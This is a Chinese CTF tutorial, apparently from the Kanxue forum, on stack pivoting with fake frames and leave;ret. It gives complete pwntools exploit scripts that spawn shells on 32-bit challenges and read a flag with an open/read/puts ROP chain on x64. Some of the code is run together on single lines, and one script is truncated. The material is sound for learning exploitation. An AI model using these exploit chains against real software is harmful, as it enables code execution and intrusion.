查看原文
其他

理解frame faking 栈迁移+例题详解(含图示)

0xRGz 看雪学院 2021-05-14

本文为看雪论坛优秀文章
看雪论坛作者ID:0xRGz


一、32位




原理:

(1) 通过栈溢出或者其他方式控制EBP。
(2) 控制EIP。
(3) 利用leave_ret 使得程序的执行流程被我们所控制。
leave_ret:
leave: move esp,ebp; pop ebp;(esp=esp+4)
ret: pop eip;

栈迁移大概流程图:

关键点:ebp实际上是个寄存器



二、例题




(1) ciscn_4_s:

看程序关键部分:



* 这里有两个read,且都是读入到同一个地方。
* s可储存的大小为0x28,但read可读入0x30。
* printf %s 结束符是'\0'(所以read读入不为空时候,printf因为遇见结束符才停止,进而可以泄露ebp地址)
 
这里还有个后面函数,所以这里调用了system。所以我们在后面也可以使用system。 0x28太小不足以用一些好的ROP。 我们如果把0x28,全填充为A 栈上的布局如图:


而printf %s 要遇见'\0' 才会终止,所以我们可以通过printf泄露出ebp的地址,从而伪造ebp实现栈迁移。 

我们先设计一下exp:

(1) 有两个read,第一个read填充0x28,通过printf %s打印出ebp地址。
(2) 第二次read,读入我们设置的栈布局。
(3):
这里流程是 read 结束后,要leave_ret 此时 ebp -> fake_ebp_addr。

又将会执行一次leave_ret(即我们放进去的 leave_ret)

* move esp,ebp;esp 和ebp会指向同一位置。

*pop ebp; 此时ebp指向‘’AAAA“ 且esp=esp+4 指向 system_plt。

*pop eip把esp指向的 system_plt 地址填入EIP寄存器中。*system_plt 下方的4 * ”A“ 是system_fake_ebp。

因为第二次leave_ret,同样要pop ebp,pop ebp 后 ebp=’AAAA' 同样要esp=esp+4,所以前四个字节填AAAA。 system_plt 放在buf+4的地址。完成pop ebp 后 esp -> system_plt。然后程序会按照我们栈布局的内容执行,从而getshell。 Exp:
from pwn import *arch = 32challenge = "./ciscn_s_4"local = int(sys.argv[1])context(log_level = "debug",os = "linux")if local: io = process(challenge) #libc = ELF("./libc.so.6") elf = ELF(challenge)else: io = remote('node3.buuoj.cn',25839) #libc = ELF("./libc.so.6") elf = ELF(challenge)if arch==64: context.arch='amd64'if arch==32: context.arch='i386'p = lambda : pause()s = lambda x : success(x)re = lambda x : io.recv(x)ru = lambda x : io.recvuntil(x)rl = lambda : io.recvline()sd = lambda x : io.send(x)sl = lambda x : io.sendline(x)itr = lambda : io.interactive()sla = lambda a, b : io.sendlineafter(a, b)sa = lambda a, b : io.sendafter(a, b) def dbg(): gdb.attach(io) pause()system=elf.plt['system']leave_ret=0x080485FD#pwnlib.gdb.attach(proc.pidof(io)[0])payload1='A' * 0x24+'a'*4ru('name?')sd(payload1)ru('aaaa')ebp=u32(re(4).ljust(4,'\x00'))print 'epb:'+(hex(ebp))fake_ebp=ebp-0x38payload2='AAAA'+p32(system)+'AAAA'+p32(fake_ebp+16)+'/bin/sh\x00'payload2+='A'*(0x28-len(payload2))+p32(fake_ebp)+p32(leave_ret)sd(payload2)pause()itr()pause()
payload 解释: fake_ebp: GDB得到buf_address = 0xffffce20

得到ebp 指向的地址 [ebp]=0xffffce58

  offset=0xffffce58 - 0xffffce20 =0x38
所以我们只要把泄露出的ebp -0x38,就让程序流程从布局好的buf段上执行。

(2) hitcon-master-lab6


检查保护:
rgzz@ubuntu:~/work/stack/pivoting$ checksec migration[*] '/home/rgzz/work/stack/pivoting/migration' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
NX enabled,FULL RELRO 再进IDA看看程序流程:

这里count是个检查,不好反复栈溢出 main 只能跳一次。
这里选择通过伪造ebp,通过栈转移进而控制程序执行流程。 这里可以溢出大小为:0x40-0x28=0x18 因为我们每次只能读入0x40个字节,所以payload要分开写。 payload1:
payload1=flat([0x28 * 'A',bss+0x500,read_plt, leave_ret,0,bss+0x500,0x100])
这里payload1刚好大小0x40。 我们先找到一段可以写的bss段,然后把bss+0x500地址作为fake_ebp。 fake_ebp就是我们新的stack起始,通过把return_address地址覆盖为read_plt,进而调用read向新的stack 写入我们的payload2。
gdb 跟一下: 跟到第一个read后发现ebp已经被我们虚假fake_ebp覆盖了。(buf_addr 就是找到bss段+0x500)

马上程序会执行第个read (1) 第read(1) 读入puts.plt,因为没有现成的system函数可以调用,这里选择通过puts泄露libc基址。 泄露后继续利用read(2),读入 system 地址和'/bin/sh' 从而实现get shell。 因为我们要跳到我们填system_address 的地址上所以fake_ebp2=bss+0x400=read(2)读入数据存放地址。 当read(2)结束后通过leave_ret 跳到bss+0x400上,进而执行system("/bin/sh")。 payload2:
payload2 = flat([bss+0x400,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,bss+0x400,0x100])
payload3:
payload3 = flat(["aaaa",system,bbbb,binsh_addr])
* pop_ebx_ret 因为每次调用function.plt要有返回地址 pop_ebx_ret 用于链接payload2流程。

* 若pop_ebx_ret填为puts_fake_plt='AAAA',则就不能正常执行下面的read(2)。

图示栈布局程序流程:

exp 如下:

from pwn import *arch = 32challenge = "./migration"local = int(sys.argv[1])context(log_level = "debug",os = "linux")if local: io = process(challenge) libc = ELF('/lib/i386-linux-gnu/libc.so.6') elf = ELF(challenge)else: io = remote('',) #libc = ELF("./libc.so.6") elf = ELF(challenge)if arch==64: context.arch='amd64'if arch==32: context.arch='i386'p = lambda : pause()s = lambda x : success(x)re = lambda x : io.recv(x)ru = lambda x : io.recvuntil(x)rl = lambda : io.recvline()sd = lambda x : io.send(x)sl = lambda x : io.sendline(x)itr = lambda : io.interactive()sla = lambda a, b : io.sendlineafter(a, b)sa = lambda a, b : io.sendafter(a, b) def dbg(): gdb.attach(io) pause()read_plt = elf.plt['read']puts_plt = elf.plt['puts']puts_got = elf.got['puts']bss = elf.bss()leave_ret = 0x08048504pop_ebp_ret = 0x0804836dprint 'buf addr:'+hex(bss+0x500)print 'puts_got:'+hex(puts_got)ru(':\n')payload1 = flat([0x28 * 'A', bss+0x500, read_plt, leave_ret, 0, bss+0x500,0x100])sd(payload1) #dbg() payload2 = flat([bss+0x400, puts_plt, pop_ebp_ret, puts_got, read_plt, leave_ret, 0, bss+0x400,0x100])sd(payload2)puts = u32(io.recv(4))print 'puts address:'+hex(puts)libc.address = puts - libc.symbols['puts']binsh_addr = next(libc.search('/bin/sh'))system = libc.symbols['system'] payload3 = flat(['AAAA',system,'bbbb',binsh_addr])sd(payload3)itr(

exp 中pop_ebx_ret是为了弹出在栈上puts_got好正常执行: read(0,bss+0x400,0x100) 因为read 的参数是由栈上获取的。 题目下载地址:https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/trunk/ROP_LEVEL2
3、总结

* 通过read 等函数,用fake frame 覆盖原本ebp。


* 通过leave_ret 方法使程序跳到我们布局好的bss\stack 段上,进而控制程序流程,进而get_shell 或者orw得到 flag。



三、x64




原理和x86的栈迁移的原理一致都是通过制造fake ebp 来将栈转移到我们布置的地址空间上,从而控制程序执行流程。
区别:x64要通过gadget填入参数这里拿hgame 2020 week3 的ROP_level2 举例。


先看保护:

NX enabled main function:

发现可以向buf地址写内容。 有两个read 第一个read可以读0x100 且是向buf地址写内容(buf 在bss段上) 所以我们可以把栈布局在buf上,然后通过第二个read制造一个fake ebp 从而实现栈迁移。 把栈执行流程转移到我们之前布局的地址上。 这里还发现有seccomp 禁用了execve()。

所以这里就通过orw来直接读flag了。 因为这里利用gadget,所以我们先寻找gadget,我们发现rdi和rsi都可以控制,但是rdx不行。
后话:(这里调试发现rdx参数是之前read的0x60无影响) 这里我们选择利用libc_csu_init通用gadget 来控制参数,刚好就利用栈迁移+orw+libc_csu_init 通用gadget。

利用总结:

* 通过第一个read读入栈布局通过libc_csu_init 给open,read,put 填入参数。


* 通过第二个read 读入junk_data 伪造fake_ebp 使栈转移到我们刚刚布局的地址上。
* 利用puts打印flag(puts只需要控制一个参数)


payload1 分成三段来解释:

payload1 = './flag\x00\x00'payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'payload1+=code([pop_rdi,bss_stage,puts_plt])ru("so?\n")


section 1:
payload1 = './flag\x00\x00'payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])
open(buf_address,0) 通过libc_csu_init 填入参数 把'./flag' 放在buf_addr 开头。利用csu_end 里的call来执行。

section 2:
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'

section1执行完后由于我们控制rbx==rbp==1 所以不跳转,但是要rsp=rsp+8。 这里用'A' * 8 来填充栈,使后面填充的参数正确对应。 填充read(fd,address,size)=read(0x4,bss_stage,0x20),(bss_stage)是读的flag放置的位置。 用0x38作为libc_csu_init gadget利用的结尾平衡栈。 section 3:
payload1+=code([pop_rdi,bss_stage,puts_plt])利用puts打印flag。

payload2:

payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)



前0x50 用"A"填充,利用我们布局的栈地址覆盖用原来的ebp ,利用leave_ret 实现栈转移。 完整exp:
#!/usr/bin/pythonfrom pwn import *arch = 64challenge = "./ROP_LEVEL2"local = int(sys.argv[1])context(log_level = "debug",os = "linux")if local: #io=gdb.debug(challenge,"break main") io = process(challenge) #libc = ELF('/lib/i386-linux-gnu/libc.so.6') elf = ELF(challenge)else: io = remote('node3.buuoj.cn',25839) #libc = ELF("./libc.so.6") elf = ELF(challenge)if arch==64: context.arch='amd64'if arch==32: context.arch='i386'p = lambda : pause()s = lambda x : success(x)re = lambda x : io.recv(x)ru = lambda x : io.recvuntil(x)rl = lambda : io.recvline()sd = lambda x : io.send(x)sl = lambda x : io.sendline(x)itr = lambda : io.interactive()sla = lambda a, b : io.sendlineafter(a, b)sa = lambda a, b : io.sendafter(a, b)leave_ret = 0x40090dread_plt = elf.plt['read']read_got = elf.got['read']puts_plt = elf.plt['puts']puts_got = elf.got['puts']csu_start = 0x400A3Acsu_end = 0x400A20open_plt = elf.plt['open']open_got = elf.got['open']bss_stage = elf.bss()+0x200buf_addr = 0x6010A0pop_rdi = 0x400a43pop_rsi_r15 = 0x400a41def code(buf): out1 = b"" for i in buf: out1+=p64(i) return out1#csu end#mov rdx, r13#mov rsi, r14#mov edi, r15d#csu start#rbx rbp r12 r13 r14 r15payload1 = './flag\x00\x00'payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'payload1+=code([pop_rdi,bss_stage,puts_plt])ru("so?\n")sd(payload1)sleep(1)payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)sd(payload2)itr()
补充:本地复现需要自己创建一个flag 文件和 some_life_experience文件。


参考




https://bbs.pediy.com/thread-258030.htm




看雪ID:0xRGz

https://bbs.pediy.com/user-home-907645.htm

  *本文由看雪论坛 0xRGz 原创,转载请注明来自看雪社区。



《安卓高级研修班》2021年6月班火热招生中!



# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存